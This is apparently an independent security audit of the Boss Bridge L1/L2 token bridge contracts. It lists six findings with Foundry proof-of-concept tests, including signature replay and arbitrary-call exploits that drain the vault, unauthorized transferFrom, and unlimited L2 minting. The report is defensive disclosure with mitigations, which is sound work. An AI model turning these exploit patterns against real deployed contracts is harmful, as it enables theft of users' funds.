Protocol Audit Report

Version 1.0

Cyfrin.io

May 11, 2024

Boss Bridge Protocol Audit Report

Daniel Stamler

May 12, 2024

Prepared by: Daniel Stamler - Independent Security Researcher

Table of Contents

Protocol Summary

The `L1BossBridge` protocol serves as a secure conduit for asset transfers between Layer 1 and Layer 2 networks. It facilitates the deposit and withdrawal of ERC-20 tokens through a controlled vault system. Upon a deposit, it triggers an event that signals listening nodes to carry out token minting or release actions on the Layer 2 network, thus promoting seamless token circulation and liquidity between layers.

Disclaimer

I made all effort to find as many vulnerabilities in the code in the given time period, but hold no responsibilities for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

I use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following comit hash:

```
aab58c25b0048f64b536feb5068c9f593785f1fe
```

Scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

Issues found

Severity	Number of issues found
High	5
Medium	1
Low	0
Total	6

Findings

[H-1] Incompatibility of CREATE Opcode with zkSync Era Layer 2 architecture

Description: The `deployToken` function in the `TokenFactory.sol` contract uses the `create` opcode for deploying ERC20 contracts, which is standard on Ethereum's Layer 1. However, this method is incompatible with zkSync Era's deployment protocols, which require contract deployment through the hash of the bytecode rather than the bytecode itself.

Impact: This discrepancy can lead to deployment failures or unexpected behaviors when the contract is executed on zkSync Era, as the `create` opcode does not align with the Layer 2 solution's architecture.

Proof of Concept: This test will pass in an Ethereum environment but WILL FAIL in zkSync Era:

```
function testDeployToken() public {
        address token = tokenFactory.deployToken("TEST", type(L1Token).
            creationCode);
        assertTrue(token != address(0), "Token deployment failed");
    }
```

Recommended Mitigation:

1. Use the high-level Solidity construct **new** for deploying contracts. This method is straightforward and ensures compatibility with zkSync Era's deployment protocols.
2. Consult the zkSync Era documentation to understand the requirements for contract deployment using their architecture.

[H-2] Unauthorized Token Transfer Vulnerability in `L1BossBridge::depositTokensToL2` Leading to Potential Token Theft Due to Missing Sender Authentication

Description: The `depositTokensToL2` function in the `L1BossBridge` contract allows tokens to be transferred from one address to another without verifying if the caller is authorized to initiate the transfer. This occurs because the function uses the `from` parameter in the `safeTransferFrom` method without ensuring that `msg.sender` is the same as `from` or has been explicitly authorized by `from`. As a result, if a user has approved the bridge to handle their tokens, any other user can exploit this to transfer the approved tokens to any address, potentially leading to unauthorized token theft.

Proof of Concept: Paste the following test into `L1TokenBridge.t.sol`

```
function testUnauthorizedTokenTransfer() public {
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);
        uint256 depositAmount = token.balanceOf(user);
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        // Expect a deposit event where the attacker tries to transfer the user's tokens to themselves on L2
        emit Deposit(user, attacker, depositAmount);
        // Execute the unauthorized transfer by calling depositTokensToL2 as the attacker
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);
        // Check that the user's balance is now zero, indicating the tokens were transferred out
        assertEq(token.balanceOf(address(user)), 0);
        // Check that the vault's balance increased by the deposit amount, indicating the tokens were received
        assertEq(token.balanceOf(address(vault)), depositAmount);
        vm.stopPrank();
    }
```

Recommended Mitigation: Ensure that the `depositTokensToL2` function checks that the caller is authorized to transfer the tokens before executing the transfer. Once way to do this is to add a modifier to the function that checks that `msg.sender` is the same as `from` or has been explicitly authorized by `from` or to simply make the first parameter `msg.sender` instead of `from`.

[H-3] Unlimited L2 Token Minting via Vault-to-Vault Deposits

Description: The `L1BossBridge` contract's `depositTokensToL2` function allows repeated deposits using the same tokens from the vault without checking the `from` address's authenticity. This oversight lets anyone trigger deposits and corresponding mint events on L2, enabling potential unlimited L2 token minting without actual L1 transfers.

Impact: This enables attackers to mint unlimited tokens on L2 for themselves by repeatedly depositing tokens circulating within the L1 vault. This could lead to significant token inflation on L2, undermining the economic stability and credibility of the token system.

Proof of Concept: 1. The attacker calls the `depositTokensToL2` function, using the vault itself as the `from` address. 2. The function completes without checking if the `from` address had authority to move the tokens, allowing the tokens to be "deposited" from the vault to itself multiple times, each time emitting a Deposit event and prompting minting on L2.

Paste the following test code into L1tokenBridge.t.sol:

```
function testCanTransferFromVaultToVault() public {
        address attacker = makeAddr("attacker");
        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), address(attacker), vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
           vaultBalance);
    }
```

Recommended Mitigation: Refer to the mitigation recommended in [H-2].

[H-4] Lack of replay protection in `withdrawTokensToL1` allows repeated use of signatures for withdrawals

Description: The `L1BossBridge` contract is vulnerable to a signature replay attack due to the absence of nonce management or any mechanism to mark signatures as used. This oversight allows malicious actors to reuse a valid signature to repeatedly perform the same action, such as withdrawing funds, until the resources of the vault are exhausted.

Impact: A successful exploitation could drain the vault's funds entirely. Additionally, since the bridge handles cross-chain operations, the repercussions could span multiple blockchain networks, further amplifying the potential damage.

Proof of Concept: Insert the following test into `L1TokenBridge.t.sol`:

```
function testSignatureReplay() public {
```

```
        address attacker = makeAddr("attacker");
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), address(attacker), attackerInitialBalance)
            ;

        // An attacker deposits tokens to L2
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(attacker, attacker,
            attackerInitialBalance);

        // Signer/Operator is going to sign the withdrawal
        bytes memory message = abi.encode(
            address(token), 0, abi.encodeCall(IERC20.transferFrom, (
                address(vault), attacker, attackerInitialBalance))
        );
        (uint8 v, bytes32 r, bytes32 s) =
            vm.sign(operator.key, MessageHashUtils.
                toEthSignedMessageHash(keccak256(message)));
        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(attacker,
                attackerInitialBalance, v, r, s);
        }
        assertEq(token.balanceOf(address(attacker)),
            attackerInitialBalance + vaultInitialBalance);
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended Mitigation: Implement a nonce management system or a similar mechanism to prevent replay attacks.

[H-5] `L1BossBridge::sendToL1` Exploit: Arbitrary Execution Leading to Unauthorized L1Vault Allowances

Description: The `sendToL1` function within the `L1BossBridge` contract permits arbitrary contract interactions when executed with a valid operator signature. This function lacks restrictions on target addresses and the data sent, enabling potential misuse. Specifically, an attacker could target the `L1Vault`, which is owned by `L1BossBridge`, and execute the `approveTo` function. By doing so, they could set a high allowance for an address under their control. This vulnerability could lead to the unauthorized withdrawal of all tokens from the vault, significantly compromising the security of the assets.

Impact:

Proof of Concept: Paste the following test `function into L1TokenBridge.t.sol`:

```
function testCanCallVaultApprovalFromBridgeAndDrainVault() public {
        address attacker = makeAddr("attacker");
        uint256 vaultInitialBalance = 1000e18;
        deal(address(attacker), vaultInitialBalance);
        deal(address(token), address(vault), vaultInitialBalance);
        // Simulate an attacker making a deposit to L2. This step is performed under the assumption that the bridge
        // operator requires a valid deposit transaction to process a withdrawal request.
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(attacker), address(0), 0);
        tokenBridge.depositTokensToL2(attacker, address(0), 0);

        // Assuming the bridge operator does not validate the contents of the signed message
        bytes memory message = abi.encode(
            address(vault), // target address
            0,
            abi.encodeCall(L1Vault.approveTo, (address(attacker), type(uint256).max)) // data to approve maximum token
                // transfer
        );
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

        tokenBridge.sendToL1(v, r, s, message);
        token.transferFrom(address(vault), attacker, token.balanceOf(address(vault)));
        assertEq(token.balanceOf(address(attacker)), vaultInitialBalance);
    }
```

Recommended Mitigation: Consider preventing attacker-controlled external calls to sensitive parts of the bridge, such as the L1Vault contract, by implementing function allowlists.

[M-1] Excessive Gas Consumption in Withdrawals Due to Return Bombs

Description: During the withdrawal process, the L1 component of the bridge executes a low-level call to external contracts, forwarding all available gas. This method is vulnerable when interacting with malicious contracts designed to exploit this by returning excessively large amounts of data. This tactic, known as a “return bomb,” forces Solidity to perform costly memory operations to handle the large returndata, leading to unexpectedly high gas consumption.

Recommended Mitigation: Implement a gas limit for the low-level call